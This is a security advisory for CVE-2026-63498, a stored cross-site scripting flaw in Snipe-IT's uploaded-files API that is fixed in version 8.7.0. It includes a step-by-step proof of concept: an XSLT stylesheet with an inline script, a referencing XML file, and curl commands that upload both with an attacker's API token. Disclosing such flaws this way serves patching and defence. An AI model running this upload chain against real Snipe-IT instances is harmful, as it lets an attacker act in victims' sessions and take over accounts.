Skip to content

GHSA-396x-xmvh-p563 CVE-2026-63498

Snipe-IT: Stored XSS via Inline XML Rendering in the Uploaded Files API

Medium Packagist
Severity
8.7 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.24%
Chance of exploitation in the next 30 days. Higher than 15.26% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Fix
8.7.0
Upgrade snipe/snipe-it to this version or later

Description

Snipe-IT's uploaded-files API accepts XML documents and later serves them inline without applying the safe-inline allowlist used by the equivalent web controller. An authenticated user who can attach files to a supported object can upload an XSLT stylesheet and an XML document that references it through xml-stylesheet. When another authorized user opens the XML file through the API with ?inline=true, the browser applies the attacker-controlled stylesheet, which produces HTML containing JavaScript in the Snipe-IT origin. This was reproduced against commit df8e3b144331d0c1cc14778f900e7646d1d9a509 (v8.6.3-231-gdf8e3b1443).

The attack requires an authenticated account with file access to at least one supported object and one victim interaction. Scope changes because attacker-controlled code executes in another user's Snipe-IT security context. The script can read same-origin data available to the victim and perform authenticated actions as that victim.

Affected Components

  • app/Http/Requests/UploadFileRequest.php Allows xml uploads through filesystems.allowed_upload_extensions_for_validator. Sanitizes only files detected as image/svg+xml. Both files in this proof of concept are detected by PHP finfo as text/xml, so they are stored unchanged.
  • config/filesystems.php Includes xml in allowed_upload_extensions_array.
  • app/Http/Controllers/Api/UploadedFilesController.php, method show() Honors the attacker-controlled inline=true query parameter for every uploaded file type. Calls Storage::download(..., ['Content-Disposition' => 'inline']) without calling StorageHelper::allowSafeInline().
  • routes/api.php Exposes the affected route as GET /api/v1/{object_type}/{id}/files/{file_id} for multiple object types.
  • app/Http/Middleware/SecurityHeaders.php The default CSP includes script-src 'self' 'unsafe-inline' 'unsafe-eval', so it does not mitigate the injected inline script. The non-API UploadedFilesController::show() already calls StorageHelper::allowSafeInline() before returning an inline response. The missing equivalent check in the API controller creates the vulnerable behavior. Root Cause

File validation treats XML as an allowed attachment format, but the API download path treats all accepted formats as safe active browser content. Extension allowlisting for upload is not equivalent to determining whether a response is safe to render inline. Laravel derives the response Content-Type from each stored file. It returns text/xml; charset=utf-8, while the controller overrides the normal attachment disposition with Content-Disposition: inline. Chromium processes the xml-stylesheet instruction, loads the second same-origin API attachment as XSLT, and executes script in the HTML document produced by the transform.

An attacker can execute arbitrary JavaScript in the Snipe-IT origin when a victim opens the malicious attachment URL. Depending on the victim's privileges, this can enable:

  • Reading same-origin pages and API responses available to the victim.
  • Performing state-changing actions with the victim's session and privileges.
  • Exposing sensitive asset, user, license, and configuration information.
  • Administrative account compromise when a superuser opens the attachment.
  • Cookies marked HttpOnly cannot be read directly, but this does not prevent same-origin authenticated requests or reading their responses.

Proof of Concept

Preconditions

  • Snipe-IT is installed with default XML upload support.
  • The attacker has an API token for a user permitted to manage files on a supported object.
  • The victim is authenticated and permitted to view files on that object.
  1. Create the malicious XSLT file

Save the following as style.xml:

<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <html>
      <head><title>BEFORE</title></head>
      <body>
        <div id="result">NOT_EXECUTED</div>
        <script>
          document.getElementById('result').textContent = 'XSS_EXECUTED';
          document.title = 'SNIPE_XSS';
        </script>
      </body>
    </html>
  </xsl:template>
</xsl:stylesheet>

PHP finfo identifies this file as text/xml, not image/svg+xml. 2. Upload the stylesheet through the API

Replace the base URL, token, object type, and object ID with values from the test instance:

curl -i \
  -H 'Authorization: Bearer ATTACKER_API_TOKEN' \
  -H 'Accept: application/json' \
  -F 'file[]=@style.xml;type=text/xml' \
  'https://snipe-it.example/api/v1/models/1/files'

Expected result: HTTP 200 and a successful upload response.

  1. Obtain the stylesheet file ID
curl -s \
  -H 'Authorization: Bearer ATTACKER_API_TOKEN' \
  -H 'Accept: application/json' \
  'https://snipe-it.example/api/v1/models/1/files'

Read the style.xml upload's id from the response and call it STYLE_FILE_ID.

  1. Create and upload the referencing XML document

Save this as data.xml, replacing STYLE_FILE_ID:

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="https://snipe-it.example/api/v1/models/1/files/STYLE_FILE_ID?inline=true"?>
<data>test</data>
PHP finfo also identifies this file as text/xml.
curl -i \
  -H 'Authorization: Bearer ATTACKER_API_TOKEN' \
  -H 'Accept: application/json' \
  -F 'file[]=@data.xml;type=text/xml' \
  'https://snipe-it.example/api/v1/models/1/files'

List the files again and obtain the id of data.xml; call it DATA_FILE_ID.

  1. Trigger the vulnerability

While authenticated in the Snipe-IT web interface as a victim who can view the object's files, open the following in the same browser. The normal Snipe-IT Passport cookie authenticates both same-origin API requests: https://snipe-it.example/api/v1/models/1/files/DATA_FILE_ID?inline=true Expected vulnerable response characteristics:

HTTP/1.1 200 OK
Content-Type: text/xml
Content-Disposition: inline
Content-Security-Policy: ...; script-src 'self' 'unsafe-inline' 'unsafe-eval'; ...

Browser result: the page title changes to SNIPE_XSS, and the displayed text changes from NOT_EXECUTED to XSS_EXECUTED.

Fixed

Fixed in https://github.com/grokability/snipe-it/commit/e929b31f0b183c5810bd2b833c1f6f643cbe5284

Affected versions

Packagist

PackageVulnerableFixed in
snipe/snipe-it
< 8.7.0
8.7.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

snipe/snipe-it Packagist → 8.7.0

composer
composer require snipe/snipe-it:^8.7.0

Severity breakdown

CVSS 3.1 8.7

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Weakness

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
  • Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
  • Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-p9h3-gvpq-5539
Snipe-IT: Stored XSS via Custom Field name in asset-list column headers
High Also affects snipe/snipe-it
GHSA-hxcx-9h4f-42xx
Snipe-IT: 2FA bypass via the API token flow
High Also affects snipe/snipe-it
GHSA-c8qc-wf67-342w
Snipe-IT: Stored DOM XSS via table selected-count IDs
Medium Also affects snipe/snipe-it
GHSA-r9r3-g9fp-3q4q
Snipe-IT: Maintenance Record Disclosure via Missing Authorization on GET
Medium Also affects snipe/snipe-it
GHSA-3hgv-jr5j-cg9x
Snipe-IT: Chained Information Disclosure and IDOR Leads to Full EULA File Takeover
Medium Also affects snipe/snipe-it
GHSA-c6w2-j4wq-mvwg
Snipe-IT: Tenant Isolation Bypass in FMCS Floater Mode
High Also affects snipe/snipe-it
GHSA-35cr-9hqq-p2mg
Snipe-IT: Cross-company deletion of pending checkout acceptances via unscoped report endpoint
Medium Also affects snipe/snipe-it
GHSA-w7qw-5wfv-gwx9
Snipe-IT has CSS Injection via `header_color` Setting
Medium Also affects snipe/snipe-it
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor